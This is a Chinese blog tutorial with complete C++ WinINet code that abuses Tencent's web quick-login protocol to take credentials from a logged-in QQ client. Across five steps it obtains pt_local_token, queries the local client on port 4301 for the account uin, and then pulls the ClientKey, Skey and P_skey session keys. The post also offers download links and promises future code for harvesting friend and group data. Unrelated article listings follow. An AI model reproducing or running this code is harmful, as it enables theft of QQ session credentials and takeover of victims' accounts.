本文主要通过利用腾讯网页快捷登录协议来模拟访问并截取已登录 QQ 客户端的Token、Uin、ClientKey、Skey、P_skey等。

Step 1、

https://ssl.xui.ptlogin2.weiyun.com/cgi-bin/xlogin?appid=527020901&daid=372&low_login=0&qlogin_auto_login=1&s_url=https://www.weiyun.com/web/callback/common_qq_login_ok.html?login_succ&style=20&hide_title=1&target=self&link_target=blank&hide_close_icon=1&pt_no_auth=1

初始化地址、建立会话并发送请求,从返回的数据中查找pt_local_token的值。

浏览器中的数据(pt_local_token 的值在 Headers -> Response Headers -> Set-Cookie 中)

实现代码:

        // 初始化URL
URL_COMPONENTSA crackedURL = { 0 }; char URL_STRING[] = "https://ssl.xui.ptlogin2.weiyun.com/cgi-bin/xlogin?appid=527020901&daid=372&low_login=0&qlogin_auto_login=1&s_url=https://www.weiyun.com/web/callback/common_qq_login_ok.html?login_succ&style=20&hide_title=1&target=self&link_target=blank&hide_close_icon=1&pt_no_auth=1"; char szHostName[128] = { 0 };
char szUrlPath[256] = { 0 }; crackedURL.dwStructSize = sizeof(URL_COMPONENTSA);
crackedURL.lpszHostName = szHostName;
crackedURL.dwHostNameLength = ARRAYSIZE(szHostName);
crackedURL.lpszUrlPath = szUrlPath;
crackedURL.dwUrlPathLength = ARRAYSIZE(szUrlPath);
InternetCrackUrlA(URL_STRING, (DWORD)strlen(URL_STRING), 0, &crackedURL); // 初始化会话
HINTERNET hInternet = InternetOpenA("Microsoft Internet Explorer", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet != NULL){
HINTERNET hHttpSession = InternetConnectA(hInternet, crackedURL.lpszHostName, INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
if (hHttpSession != NULL){
HINTERNET hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", crackedURL.lpszUrlPath, NULL, "", NULL, INTERNET_FLAG_SECURE, 0);
if (hHttpRequest != NULL){
BOOL bRet = FALSE;
// 发送HTTP请求
bRet = HttpSendRequest(hHttpRequest, NULL, 0, NULL, 0);
if (bRet){
// 查询HTTP请求状态
DWORD dwRetCode = 0;
DWORD dwSizeOfRq = sizeof(DWORD);
bRet = HttpQueryInfo(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL);
if (bRet){
// 读取整个Headers
char lpHeaderBuffer[1024] = { 0 };
dwSizeOfRq = 1024;
HttpQueryInfo(hHttpRequest, HTTP_QUERY_RAW_HEADERS, lpHeaderBuffer, &dwSizeOfRq, NULL);
// 提取 pt_local_token 的值
char* pt_local_token = lpHeaderBuffer + dwSizeOfRq;
while (pt_local_token != lpHeaderBuffer){
if (strstr(pt_local_token, "pt_local_token=")){
pt_local_token += sizeof("pt_local_token");
char* pEndBuffer = strstr(pt_local_token, ";");
*pEndBuffer = 0;
break;
}
pt_local_token--;
} // 关闭句柄
InternetCloseHandle(hHttpRequest);
InternetCloseHandle(hHttpSession); cout << "[+] pt_local_token:" << pt_local_token << "\r\n" << endl;
}
}
}
}
}

Step 2、

https://localhost.ptlogin2.weiyun.com:4301/pt_get_uins?callback=ptui_getuins_CB&r=0.6694805047494219&pt_local_tk=pt_local_token

利用Step1获取的pt_local_token值构造地址并发送请求获取已登录的QQ uin。

请求需要带入Referer: https://ssl.xui.ptlogin2.weiyun.com/

端口从4301 ~ 4309(如本机只登录了一个QQ号,那必然会是默认的4301端口)

浏览器中的返回数据(在 Response 中)

var var_sso_uin_list=[{"uin":25XXXXXXX3,"face_index":525,"gender":0,"nickname":"XXXXXXX","client_type":65793,"uin_flag":8388608,"account":25XXXXXXX3}];ptui_getuins_CB(var_sso_uin_list);

实现代码:

    /* 二次会话 */

    //生成16位随机数
time_t seed = time(NULL);
srand((unsigned)seed); CString szRand1 = "", szRand2 = ""; for (int j = 0; j < 16; j++)
{
switch ((rand() % 2))
{
case 1:
szRand1.Format("%C", rand() % 5 + 48);
break;
default:
szRand1.Format("%C", rand() % 5 + 53);
}
szRand2 += szRand1;
Sleep(50);
} char *szRandNum = szRand2.GetBuffer(szRand2.GetLength() + 1);
szRand2.ReleaseBuffer(); // 初始化URL参数
char lpszUrlPath[1024] = { 0 };
strcat(lpszUrlPath, "/pt_get_uins?callback=ptui_getuins_CB&r=0.");
strcat(lpszUrlPath, szRandNum); // 追加16位随机数
strcat(lpszUrlPath, "&pt_local_tk=");
strcat(lpszUrlPath, pt_local_token); // 追加pt_local_token // 建立会话
hHttpSession = InternetConnectA(hInternet, "localhost.ptlogin2.weiyun.com", 4301, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
if (NULL != hHttpSession)
{
hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", lpszUrlPath, NULL, "", NULL, INTERNET_FLAG_SECURE, 0);
if (NULL != hHttpRequest)
{
// 发送HTTP请求,添加头信息
char lpHeaders[] = "Referer:https://ssl.xui.ptlogin2.weiyun.com/";
bRet = HttpSendRequestA(hHttpRequest, lpHeaders, strlen(lpHeaders), NULL, 0);
if (bRet)
{
// 查询HTTP请求状态
dwRetCode = 0;
dwSizeOfRq = sizeof(DWORD);
bRet = HttpQueryInfo(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL);
if (bRet)
{
// 获取返回数据的大小
DWORD dwNumberOfBytesAvailable = 0;
bRet = InternetQueryDataAvailable(hHttpRequest, &dwNumberOfBytesAvailable, NULL, NULL);
if (bRet)
{
// 读取网页内容
char* lpBuffer = new char[dwNumberOfBytesAvailable + 1]();
bRet = InternetReadFile(hHttpRequest, lpBuffer, dwNumberOfBytesAvailable, &dwNumberOfBytesAvailable);
if (bRet)
{
// 提取 QQ uin
char* uin = lpBuffer + dwNumberOfBytesAvailable;
while (uin != lpBuffer)
{
if (strstr(uin, "\"uin\":"))
{
uin += sizeof("\"uin\":") - 1;
char* pEndBuffer = strstr(uin, "}");
*pEndBuffer = 0;
break;
}
uin--;
} // 关闭句柄
InternetCloseHandle(hHttpRequest);
InternetCloseHandle(hHttpSession); cout << "[+] uin:" << uin << "\r\n" << endl; delete[] lpBuffer;
}
}
}
}
}

Step 3、

https://localhost.ptlogin2.weiyun.com:4301/pt_get_st?clientuin= uin&pt_local_tk= pt_local_token

截取 QQ ClientKey

利用Step1获取到的pt_local_token与Step2获取到QQ uin构造地址并发送请求。

请求需要带入 Referer: https://ssl.xui.ptlogin2.weiyun.com/

浏览器中的数据(在 Cookies -> Response Cookies 中)

实现代码:

    /* 三次会话 */

    // 构造 URL
ZeroMemory(lpszUrlPath, 1024);
strcat(lpszUrlPath, "/pt_get_st?clientuin=");
strcat(lpszUrlPath, uin);
strcat(lpszUrlPath, "&pt_local_tk=");
strcat(lpszUrlPath, pt_local_token); // 发送HTTPS请求
hHttpSession = InternetConnectA(hInternet, "localhost.ptlogin2.weiyun.com", 4301, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
if (NULL != hHttpSession)
{
hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", lpszUrlPath, NULL, "", NULL, INTERNET_FLAG_SECURE, 0);
if (NULL != hHttpRequest)
{
// 添加头信息
char lpHeaders2[] = "Referer:https://ssl.xui.ptlogin2.weiyun.com/";
bRet = HttpSendRequestA(hHttpRequest, lpHeaders2, strlen(lpHeaders2), NULL, 0);
if (bRet)
{
// 查询HTTP请求状态
dwRetCode = 0;
dwSizeOfRq = sizeof(DWORD);
bRet = HttpQueryInfoA(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL);
if (bRet)
{
// 读取整个Headers
ZeroMemory(lpHeaderBuffer, 1024);
dwSizeOfRq = 1024;
bRet = HttpQueryInfoA(hHttpRequest, HTTP_QUERY_RAW_HEADERS, lpHeaderBuffer, &dwSizeOfRq, NULL);
if (bRet)
{
// 提取 ClientKey 的值
char* clientkey = lpHeaderBuffer + dwSizeOfRq;
while (clientkey != lpHeaderBuffer)
{
if (strstr(clientkey, "clientkey="))
{
clientkey += sizeof("clientkey");
char* pEndBuffer = strstr(clientkey, ";");
*pEndBuffer = 0;
break;
}
clientkey--;
} // 关闭句柄
InternetCloseHandle(hHttpRequest);
InternetCloseHandle(hHttpSession); cout << "[+] clientkey:" << clientkey << "\r\n" << endl;
}
}
}
}
}

Step 4、

https://ptlogin2.qq.com/jump?clientuin= uin &clientkey= ClientKey &keyindex=9&u1=https://www.weiyun.com/web/callback/common_qq_login_ok.html?login_succ&pt_local_tk=&pt_3rd_aid=0&ptopt=1&style=40

获取 Skey 并提取 ptsigx 的值

利用Step 2的QQ uin与Step 3获取的ClientKey构造地址并发送请求。

请求需要带入 Referer:https://ptlogin2.qq.com/

浏览器中的数据(Skey 在 Cookies -> Response Cookies 中)

实现代码:

    /* 四次会话 */

    // 构造 URL
ZeroMemory(lpszUrlPath, 1024);
strcat(lpszUrlPath, "/jump?clientuin=");
strcat(lpszUrlPath, uin);
strcat(lpszUrlPath, "&clientkey=");
strcat(lpszUrlPath, clientkey);
strcat(lpszUrlPath, "&keyindex=9&u1=https://www.weiyun.com/web/callback/common_qq_login_ok.html?login_succ&pt_local_tk=&pt_3rd_aid=0&ptopt=1&style=40"); // 发送HTTPS请求
hHttpSession = InternetConnectA(hInternet, "ptlogin2.qq.com", INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
if (NULL != hHttpSession)
{
hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", lpszUrlPath, NULL, "", NULL, INTERNET_FLAG_SECURE, 0);
if (NULL != hHttpRequest)
{
// 添加Referer
char lpReferer[128] = { 0 };
strcpy(lpReferer, "Referer: ");
strcat(lpReferer, "https://ptlogin2.qq.com/");
strcat(lpReferer, "\r\n"); HttpAddRequestHeaders(hHttpRequest, lpReferer, -1L, HTTP_ADDREQ_FLAG_ADD); bRet = HttpSendRequestA(hHttpRequest, NULL, NULL, NULL, 0);
if (bRet)
{
// 查询HTTP请求状态
dwRetCode = 0;
dwSizeOfRq = sizeof(DWORD);
bRet = HttpQueryInfoA(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL);
if (bRet)
{
// 获取返回数据的大小
DWORD dwNumberOfBytesAvailablex = 0;
InternetQueryDataAvailable(hHttpRequest, &dwNumberOfBytesAvailablex, NULL, NULL); // 读取返回的 Response 数据
char* lpBufferx = new char[dwNumberOfBytesAvailablex + 1]();
InternetReadFile(hHttpRequest, lpBufferx, dwNumberOfBytesAvailablex, &dwNumberOfBytesAvailablex); // 输出 Response 数据
cout << "[+] Response Data:" << lpBufferx << "\r\n" << endl; // 从返回数据中提取 ptsigx 备用
char* ptsigx = lpBufferx + dwNumberOfBytesAvailablex;
while (ptsigx != lpBufferx)
{
if (strstr(ptsigx, "check_sig?"))
{
ptsigx += sizeof("check_sig");
char* pEndBuffer = strstr(ptsigx, "'");
*pEndBuffer = 0;
break;
}
ptsigx--;
} // 构造 ptsigx URL
CString szPtsigx = "";
szPtsigx.Format(TEXT("/check_sig?%s"), ptsigx); cout << "[+] szPtsigx:" << szPtsigx << "\r\n" << endl; delete[] lpBufferx; // 读取整个Headers
ZeroMemory(lpHeaderBuffer, 1024);
dwSizeOfRq = 1024;
HttpQueryInfoA(hHttpRequest, HTTP_QUERY_RAW_HEADERS_CRLF, lpHeaderBuffer, &dwSizeOfRq, NULL); // 提取 skey 的值
char* skey = lpHeaderBuffer + dwSizeOfRq;
while (skey != lpHeaderBuffer)
{
if (strstr(skey, "skey="))
{
skey += sizeof("skey");
char* pEndBuffer = strstr(skey, ";");
*pEndBuffer = 0;
break;
}
skey--;
} // 关闭句柄
InternetCloseHandle(hHttpRequest);
InternetCloseHandle(hHttpSession); cout << "[+] Skey:" << skey << "\r\n" << endl;
}
}
}
}

Step 5、

获取 P_skey

通过Step 4构造的 ptsigx URL 建立会话并发送请求。

浏览器中的数据(P_skey 在 Headers -> Response Headers -> Set-Cookie 中)

实现代码:

    /* 五次会话 */

    char *u_Ptsigx = szPtsigx.GetBuffer(szPtsigx.GetLength() + 1);
szPtsigx.ReleaseBuffer(); // 发送HTTPS请求
hHttpSession = InternetConnectA(hInternet, "ssl.ptlogin2.weiyun.com", INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
if (NULL != hHttpSession)
{
hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", u_Ptsigx, NULL, "", NULL, INTERNET_FLAG_SECURE, 0);
if (NULL != hHttpRequest)
{
bRet = HttpSendRequestA(hHttpRequest, NULL, NULL, NULL, 0);
if (bRet)
{
// 查询HTTP请求状态
dwRetCode = 0;
dwSizeOfRq = sizeof(DWORD);
bRet = HttpQueryInfoA(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL);
if (bRet)
{
// 读取整个Headers
ZeroMemory(lpHeaderBuffer, 1024);
dwSizeOfRq = 1024;
HttpQueryInfoA(hHttpRequest, HTTP_QUERY_RAW_HEADERS_CRLF, lpHeaderBuffer, &dwSizeOfRq, NULL); // 提取 p_skey 的值
char* pskey = lpHeaderBuffer + dwSizeOfRq;
while (pskey != lpHeaderBuffer)
{
if (strstr(pskey, "p_skey="))
{
pskey += sizeof("p_skey");
char* pEndBuffer = strstr(pskey, ";");
*pEndBuffer = 0;
break;
}
pskey--;
} cout << "[+] P_skey:" << pskey << "\r\n" << endl;
}
}
}
}

至此所有数据已全部获取完毕,另外还有获取QQ好友、QQ群数据等等,下回再详细列举,如使用过程中有任何BUG或代码失效可以私信联系处理(有空的话)。

测试项目下载

【蓝奏云下载】(提取码:eh9v)

【百度云下载】(提取码:wqau)

利用腾讯快捷登录协议截取 QQ ClientKey / QQKey 实战课程的更多相关文章

  1. ECshop 快捷登录插件 支持QQ 支付宝 微博

    亲自测试可以使用,分享给大家.(承接各种EcShop改版,二次开发等相关项目 QQ:377898650) 安装的时候按照里面说明.安装即可. 代码下载:http://pan.baidu.com/s/1 ...

  2. QQ快速登录协议分析以及风险反思

    前言 众所周知,Tencent以前使用Activex的方式实施QQ快速登录,现在快速登录已经不用控件了.那现在用了什么奇葩的方法做到Web和本地的应用程序交互呢?其实猜测一下,Web和本地应用进行交互 ...

  3. 实现OAUTH协议 实现 QQ 第三方登录效果

    1.OAuth的简述 OAuth(Open Authorization,开放授权)是为用户资源的授权定义了一个安全.开放及简单的标准,第三方无需知道用户的账号及密码,就可获取到用户的授权信息,并且这是 ...

  4. 单点登录技术:微软Passport单点登录协议和自由联盟规范

    随着互联网络应用的普及,越来越多的人开始使用互联网上提供的服务.然而目前提供服务的网站大多采用用户名.口令的方式来识别用户身份,这使得用户需要经常性的输入自己的用户名.口令.显然这种认证方式存在着弊端 ...

  5. C# WinForm 使用SMTP协议发送QQ邮箱验证码

    文章来自:https://blog.csdn.net/IT_xiao_guang_guang/article/details/104336604 前言   在程序设计中,发送验证码是常见的一个功能,用 ...

  6. 第三方账号登录--QQ登录,以及QQ微博账号登录

    在QQ登陆测试的时候,刚申请正常登陆,但是由于app未上线,或许是腾讯升级造成的个别时候QQ登陆无法成功会提示下图代码,功能上没啥问题,已经达到 测试效果了.附上腾讯错误代码图(大家测试QQ登陆的时候 ...

  7. 告别S! S! H!秒杀终端工具——FastLogin快捷登录

    题记:自从接触到"跳板机"的概念后,一直就被烦不胜烦的机器名,ip地址,用户名,密码折腾的死去活来,心说能有个小精灵随时帮我输入那些重复的登录信息就好了.我见过最挫的方式就是用记事 ...

  8. Loadrunner 脚本开发-利用loadrunner开发Windows Sockets协议脚本

    脚本开发-利用loadrunner开发Windows Sockets协议脚本 by:授客 QQ:1033553122 欢迎加入软件性能测试交流QQ群:7156436 实践举例 Socket服务端简单实 ...

  9. 【原创】python模拟腾讯网页登录

    近日,研究Tencent网页模拟登录的过程,过程有些忐忑,但最终还是实现了这一功能.先将结果写于此,供大家参考: 其加密过程在c_login_old.js文件中执行,将JS关键代码提取出来如下: fu ...

  10. 如何利用腾讯云COS为静态博客添加动态相册

    前言 本文首发于个人网站Jianger's Blog,欢迎访问订阅.个人博客小站刚建站不久,想着除了主题里的功能外再添加上相册模块,于是半搜索半摸索把相册模块搞出来了,最后采用了利用腾讯云对象存储作图 ...

随机推荐

  1. Solution -「洛谷 P5048」「YunoOI 2019 模拟赛」Yuno loves sqrt technology III

    Description Link. 区间众数出现次数强制在线. Solution 三个 YLST 中比较清新的一个分块. 比较重点的地方在于询问散块的处理. 先离散化一下序列. 我们首先预处理出来一个 ...

  2. 有关library导入的个人总结和反思

    本来帮助朋友找寻一下android的一些特效的demo,结果找到了一个,朋友试验可以,自己却是在导入项目需要的library的时候总是出问题,真的很是丢人,反省反省. 也许专业人士看来这是非常可笑的问 ...

  3. Dash 2.14版本开始支持动态回调注册!

    本文示例代码已上传至我的Github仓库https://github.com/CNFeffery/dash-master 大家好我是费老师,就在昨晚,Dash框架发布了其2.14.0新版本,新增的功能 ...

  4. oracle下载安装教程(带安装包)

    废话不多说上连接: 链接:https://pan.baidu.com/s/1ukUjxbTpodxwxoGQUKl8KA?pwd=y6ju 提取码:y6ju oracle下载速度太慢了我存在了百度网盘 ...

  5. 一场3天前的cf

    啊 这次的cf其实水的(指前4题) 题面就不给了awaT1其实就是一个贪心,其实手模一下就好了.可以发现,先让小的那个变大,然后在后面一直让小的加上大的统计一下次数就是答案了.因为如果是这样算的话,两 ...

  6. Amazon MSK 可靠性最佳实践

    1. Amazon MSK介绍 Kafka作为老牌的开源分布式事件流平台,已经广泛用于如数据集成,流处理,数据管道等各种应用中. 亚马逊云科技也于2019年2月推出了Apache Kafka的云托管版 ...

  7. MAC安装pwntools记录

    1.使用python3安装pwntools pip3 install pwntools 2.安装成功后测试 测试不成功提示安装 binutils pwnlib.exception.PwnlibExce ...

  8. CSP 2022 游记

    赛前占坑. 由于不知是 \(Day ?\) 故采用日期方式记录. 文笔所限,闲话较多,略显杂乱. 09.?? 接到通知,LN 初赛线上.面基环节无了/kk 09.17 翘 whk 和数学统练参加多校联 ...

  9. Vue源码学习(十三):实现watch(一):方法,对象

    好家伙,  代码出了点bug,暂时只能实现这两种形式 完整代码已开源https://github.com/Fattiger4399/analytic-vue.git Vue:watch的多种使用方法 ...

  10. 实战攻防演练--利用微软自带Certutil命令ByPassAV上传C2

    Certutil Certutil.exe是Windows操作系统中的合法程序,主要用于管理证书相关操作.它提供了转储和显示证书颁发机构(CA)的配置信息.配置证书服务.备份和还原CA组件,以及验证证 ...